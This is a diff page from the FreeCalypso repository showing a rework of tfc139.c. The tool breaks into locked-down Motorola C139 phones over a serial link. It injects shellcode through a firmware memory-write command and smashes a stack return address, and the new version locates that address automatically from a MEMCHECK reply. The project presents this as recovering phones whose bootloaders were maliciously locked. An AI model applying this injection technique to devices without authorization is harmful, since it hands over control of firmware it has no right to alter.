FreeCalypso > hg > freecalypso-sw
comparison rvinterf/lowlevel/tfc139.c @ 984:8c83777f856c
tfc139 reworked for the new "universal" break-in method
author | Mychaela Falconia <falcon@ivan.Harhan.ORG> |
---|---|
date | Sat, 12 Dec 2015 03:17:12 +0000 |
parents | 7166c8311b0d |
children | 8109185528c1 |
comparison
equal
deleted
inserted
replaced
983:7166c8311b0d | 984:8c83777f856c |
---|---|
1 /* | 1 /* |
2 * This program is a contender for the title of the ugliest hack | 2 * This program facilitates the recovery of those Compal/Motorola phones |
3 * in the FreeCalypso project. It will attempt to break into a | 3 * whose bootloaders have been maliciously locked down. It connects |
4 * locked-down TracFone C139 by mimicking the actions of the | 4 * to a running Mot C1xx firmware through the RVTMUX interface provided |
5 * mot931c.exe TF "unlocker". | 5 * by the latter and uses the Test Mode memory write command (which |
6 * these firmwares implement just like TI's reference fw) to inject | |
7 * some shellcode and to transfer control to it by overwriting a | |
8 * function return address on the stack. The injected shellcode then | |
9 * enables the Calypso boot ROM and jumps to it, allowing fc-loadtool | |
10 * to take over from there. | |
6 */ | 11 */ |
7 | 12 |
8 #include <sys/types.h> | 13 #include <sys/types.h> |
9 #include <sys/errno.h> | 14 #include <sys/errno.h> |
10 #include <stdio.h> | 15 #include <stdio.h> |
46 0x02, 0xF8, 0xFF, 0xFF, 0x00, 0x58, 0xFF, 0xFF, | 51 0x02, 0xF8, 0xFF, 0xFF, 0x00, 0x58, 0xFF, 0xFF, |
47 0x10, 0xFB, 0xFF, 0xFF, 0x02, 0x02, 0x02, 0x4F, | 52 0x10, 0xFB, 0xFF, 0xFF, 0x02, 0x02, 0x02, 0x4F, |
48 0x4B, 0x02 | 53 0x4B, 0x02 |
49 }; | 54 }; |
50 | 55 |
51 static unsigned shellcode_load_addr = 0x800000; | 56 static unsigned shellcode_load_addr; |
52 static unsigned stack_smash_addr = 0x837C54; | 57 static unsigned stack_smash_addr; |
53 static int thumb_entry = 0; | 58 static int thumb_entry = 1; |
54 | 59 |
55 static u_char stack_smash_payload[4]; | 60 static u_char stack_smash_payload[4]; |
61 static int breakin_in_progress; | |
56 | 62 |
57 static char *target_tty_port; | 63 static char *target_tty_port; |
58 | 64 |
59 static void | 65 static void |
60 send_compal_memwrite(addr, payload, payload_len) | 66 send_compal_memwrite(addr, payload, payload_len) |
78 pkt[i] = csum; | 84 pkt[i] = csum; |
79 send_pkt_to_target(pkt, i + 1); | 85 send_pkt_to_target(pkt, i + 1); |
80 } | 86 } |
81 | 87 |
82 static void | 88 static void |
83 build_stack_smash_payload() | 89 initiate_breakin() |
84 { | 90 { |
91 char msgbuf[80]; | |
85 unsigned jump_addr; | 92 unsigned jump_addr; |
86 | 93 |
94 sprintf(msgbuf, | |
95 "Using shellcode load addr 0x%x, stack smash starting addr 0x%x", | |
96 shellcode_load_addr, stack_smash_addr); | |
97 output_line(msgbuf); | |
87 jump_addr = shellcode_load_addr; | 98 jump_addr = shellcode_load_addr; |
88 if (thumb_entry) | 99 if (thumb_entry) |
89 jump_addr += 1; | 100 jump_addr += 1; |
90 else | 101 else |
91 jump_addr += 4; | 102 jump_addr += 4; |
92 stack_smash_payload[0] = jump_addr; | 103 stack_smash_payload[0] = jump_addr; |
93 stack_smash_payload[1] = jump_addr >> 8; | 104 stack_smash_payload[1] = jump_addr >> 8; |
94 stack_smash_payload[2] = jump_addr >> 16; | 105 stack_smash_payload[2] = jump_addr >> 16; |
95 stack_smash_payload[3] = jump_addr >> 24; | 106 stack_smash_payload[3] = jump_addr >> 24; |
107 output_line("Sending shellcode RAM write"); | |
108 send_compal_memwrite(shellcode_load_addr, shellcode, sizeof shellcode); | |
109 breakin_in_progress = 1; | |
110 } | |
111 | |
112 static void | |
113 send_memcheck_query() | |
114 { | |
115 u_char sendpkt[25]; | |
116 | |
117 output_line("Sending GPF MEMCHECK query"); | |
118 /* fill out the packet */ | |
119 sendpkt[0] = RVT_L23_HEADER; | |
120 sendpkt[1] = 0xB7; /* system prim */ | |
121 sendpkt[2] = 20; | |
122 sendpkt[3] = 0; | |
123 /* send zeros for the timestamp */ | |
124 sendpkt[4] = 0; | |
125 sendpkt[5] = 0; | |
126 sendpkt[6] = 0; | |
127 sendpkt[7] = 0; | |
128 /* fixed string with all fields */ | |
129 strcpy(sendpkt + 8, "PCO L1 MEMCHECK"); | |
130 /* send it! */ | |
131 send_pkt_to_target(sendpkt, 24); | |
96 } | 132 } |
97 | 133 |
98 main(argc, argv) | 134 main(argc, argv) |
99 char **argv; | 135 char **argv; |
100 { | 136 { |
102 extern int optind; | 138 extern int optind; |
103 int c; | 139 int c; |
104 fd_set fds; | 140 fd_set fds; |
105 | 141 |
106 baudrate_name = "57600"; /* what C139 firmware uses */ | 142 baudrate_name = "57600"; /* what C139 firmware uses */ |
107 while ((c = getopt(argc, argv, "a:B:l:s:tw:")) != EOF) | 143 while ((c = getopt(argc, argv, "a:AB:l:s:w:")) != EOF) |
108 switch (c) { | 144 switch (c) { |
109 case 'a': | 145 case 'a': |
110 shellcode_load_addr = strtoul(optarg, 0, 16); | 146 shellcode_load_addr = strtoul(optarg, 0, 16); |
111 continue; | 147 continue; |
148 case 'A': | |
149 thumb_entry = 0; | |
150 continue; | |
112 case 'B': | 151 case 'B': |
113 baudrate_name = optarg; | 152 baudrate_name = optarg; |
114 continue; | 153 continue; |
115 case 'l': | 154 case 'l': |
116 logfname = optarg; | 155 logfname = optarg; |
117 continue; | 156 continue; |
118 case 's': | 157 case 's': |
119 stack_smash_addr = strtoul(optarg, 0, 16); | 158 stack_smash_addr = strtoul(optarg, 0, 16); |
120 continue; | |
121 case 't': | |
122 thumb_entry = 1; | |
123 continue; | 159 continue; |
124 case 'w': | 160 case 'w': |
125 wakeup_after_sec = strtoul(optarg, 0, 0); | 161 wakeup_after_sec = strtoul(optarg, 0, 0); |
126 continue; | 162 continue; |
127 case '?': | 163 case '?': |
130 "usage: %s [options] ttyport\n", argv[0]); | 166 "usage: %s [options] ttyport\n", argv[0]); |
131 exit(1); | 167 exit(1); |
132 } | 168 } |
133 if (argc - optind != 1) | 169 if (argc - optind != 1) |
134 goto usage; | 170 goto usage; |
171 if (stack_smash_addr && !shellcode_load_addr) { | |
172 fprintf(stderr, "usage error: -a option required with -s\n"); | |
173 exit(1); | |
174 } | |
135 open_target_serial(argv[optind]); | 175 open_target_serial(argv[optind]); |
136 target_tty_port = argv[optind]; | 176 target_tty_port = argv[optind]; |
137 | 177 |
138 set_serial_nonblock(0); | 178 set_serial_nonblock(0); |
139 setlinebuf(stdout); | 179 setlinebuf(stdout); |
145 } | 185 } |
146 setlinebuf(logF); | 186 setlinebuf(logF); |
147 fprintf(logF, "*** Log of TFC139 break-in session ***\n"); | 187 fprintf(logF, "*** Log of TFC139 break-in session ***\n"); |
148 } | 188 } |
149 time(&logtime); | 189 time(&logtime); |
150 output_line("Sending shellcode RAM write"); | 190 if (stack_smash_addr) |
151 send_compal_memwrite(shellcode_load_addr, shellcode, sizeof shellcode); | 191 initiate_breakin(); |
152 build_stack_smash_payload(); | 192 else |
193 send_memcheck_query(); | |
153 for (;;) { | 194 for (;;) { |
154 FD_ZERO(&fds); | 195 FD_ZERO(&fds); |
155 FD_SET(target_fd, &fds); | 196 FD_SET(target_fd, &fds); |
156 c = select(target_fd+1, &fds, 0, 0, 0); | 197 c = select(target_fd+1, &fds, 0, 0, 0); |
157 time(&logtime); | 198 time(&logtime); |
169 static void | 210 static void |
170 handle_tm_response() | 211 handle_tm_response() |
171 { | 212 { |
172 char msgbuf[80]; | 213 char msgbuf[80]; |
173 | 214 |
215 if (!breakin_in_progress) { | |
216 output_line("TM response unexpected at this time"); | |
217 return; | |
218 } | |
174 if (rxpkt_len != 4 || rxpkt[1] != 0x40 || rxpkt[2] || rxpkt[3] != 0x40){ | 219 if (rxpkt_len != 4 || rxpkt[1] != 0x40 || rxpkt[2] || rxpkt[3] != 0x40){ |
175 output_line("TM response differs from expected"); | 220 output_line("TM response differs from expected"); |
176 return; | 221 return; |
177 } | 222 } |
178 sprintf(msgbuf, "Sending stack smash write at 0x%x", stack_smash_addr); | 223 sprintf(msgbuf, "Sending stack smash write at 0x%x", stack_smash_addr); |
179 output_line(msgbuf); | 224 output_line(msgbuf); |
180 send_compal_memwrite(stack_smash_addr, stack_smash_payload, 4); | 225 send_compal_memwrite(stack_smash_addr, stack_smash_payload, 4); |
181 stack_smash_addr += 4; | 226 stack_smash_addr += 4; |
227 } | |
228 | |
229 static void | |
230 analyze_gpf_packet() | |
231 { | |
232 unsigned stackbase, untouched; | |
233 static char format[] = | |
234 "Name:L1 Stat:%*s Count:%*s Prio:%*s Stack:%x Size:%*s Untouched:%u"; | |
235 char msgbuf[80]; | |
236 | |
237 if (rxpkt_len < 17 || rxpkt_len > 128) | |
238 return; | |
239 /* it needs to be a trace packet */ | |
240 if ((rxpkt[1] & 0xF0) != 0xA0) | |
241 return; | |
242 /* check the length */ | |
243 if (rxpkt[2] + 4 != rxpkt_len) | |
244 return; | |
245 if (rxpkt[3]) | |
246 return; | |
247 /* skip timestamp, check src and dest */ | |
248 if (strncmp(rxpkt + 8, "SYSTPCO ", 8)) | |
249 return; | |
250 /* terminating NUL for sscanf */ | |
251 rxpkt[rxpkt_len] = '\0'; | |
252 if (sscanf(rxpkt, format, &stackbase, &untouched) != 2) | |
253 return; | |
254 /* success! */ | |
255 sprintf(msgbuf, | |
256 "Parsed L1 stack location: base=0x%x, untouched=%u (0x%x)", | |
257 stackbase, untouched, untouched); | |
258 output_line(msgbuf); | |
259 if (stackbase & 3) { | |
260 output_line("Error: stack base address is not word-aligned"); | |
261 exit(1); | |
262 } | |
263 untouched &= ~3; | |
264 if (!shellcode_load_addr) { | |
265 if (untouched < sizeof shellcode) { | |
266 output_line("Error: not enough room for shellcode"); | |
267 exit(1); | |
268 } | |
269 shellcode_load_addr = stackbase; | |
270 } | |
271 stack_smash_addr = stackbase + untouched; | |
272 initiate_breakin(); | |
182 } | 273 } |
183 | 274 |
184 handle_rx_packet() | 275 handle_rx_packet() |
185 { | 276 { |
186 if (rxpkt_len == 2 && rxpkt[0] == 'O' && rxpkt[1] == 'K') { | 277 if (rxpkt_len == 2 && rxpkt[0] == 'O' && rxpkt[1] == 'K') { |
199 case RVT_L1_HEADER: | 290 case RVT_L1_HEADER: |
200 print_l1_trace(); | 291 print_l1_trace(); |
201 return; | 292 return; |
202 case RVT_L23_HEADER: | 293 case RVT_L23_HEADER: |
203 print_g23_trace(); | 294 print_g23_trace(); |
295 if (!breakin_in_progress) | |
296 analyze_gpf_packet(); | |
204 return; | 297 return; |
205 case RVT_TM_HEADER: | 298 case RVT_TM_HEADER: |
206 print_tm_output_raw(); | 299 print_tm_output_raw(); |
207 handle_tm_response(); | 300 handle_tm_response(); |
208 return; | 301 return; |